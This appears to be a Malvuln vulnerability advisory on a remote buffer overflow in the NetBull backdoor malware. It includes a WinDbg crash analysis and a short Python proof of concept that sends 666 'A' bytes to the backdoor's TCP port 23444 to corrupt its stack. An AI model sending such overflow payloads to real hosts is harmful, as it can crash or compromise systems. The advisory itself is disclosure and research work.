Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/80e98fdf726a3e727f3414bdbf2e86bb.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NetBull.11.a Vulnerability: Remote Buffer Overflow Description: Netbull listens on both TCP ports 23444 and 23445, sending a large string of junk chars causes stack corruption overwriting EDX register. Type: PE32 MD5: 80e98fdf726a3e727f3414bdbf2e86bb Vuln ID: MVID-2021-0035 Dropped files: c:\infected.exe ASLR: False DEP: False Safe SEH: True Disclosure: 01/18/2021 Memory Dump: EAX : 70D87B24 mfc42.70D87B24 EBX : FFFFFFFF ECX : 2E240010 EDX : 41414140 EBP : 028F86A8 ESP : 0019F8C4 ESI : 2E240000 EDI : 3FFFFFC2 EIP : 70CA85D5 mfc42.70CA85D5 (1a2c.13f4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=2e05f010 edx=41414140 esi=00000003 edi=00000003 eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: mfc42!CString::CString+5 73c685d5 8901 mov dword ptr [ecx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 73c685d5 (mfc42!CString::CString+0x00000005) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 2e05f010 Attempt to write to address 2e05f010 PROCESS_NAME: Backdoor.Win32.NetBull.11.a.80e98fdf726a3e727f3414bdbf2e86bb.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 2e05f010 WRITE_ADDRESS: 2e05f010 FOLLOWUP_IP: mfc42!CString::CString+5 73c685d5 8901 mov dword ptr [ecx],eax MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000013f4 BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff LAST_CONTROL_TRANSFER: from 00407f45 to 73c685d5 STACK_TEXT: 0019f8c0 00407f45 2e05f000 2e05f000 0019f8ec mfc42!CString::CString+0x5 WARNING: Stack unwind information not available. Following frames may be wrong. 0019f8d8 00407efb 043448fc 41414141 0019f9bc Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7f45 0019f8f4 00407408 2e05f000 2e05f000 00000001 Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7efb 00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7408 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: mfc42!CString::CString+5 FOLLOWUP_NAME: MachineOwner MODULE_NAME: mfc42 IMAGE_NAME: mfc42.dll Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=23444 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PACKET="A"*666 s.send(PACKET) s.close() print("Backdoor.Win32.NetBull.11.a / Remote Buffer Overflow"); print("MD5: 80e98fdf726a3e727f3414bdbf2e86bb"); print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).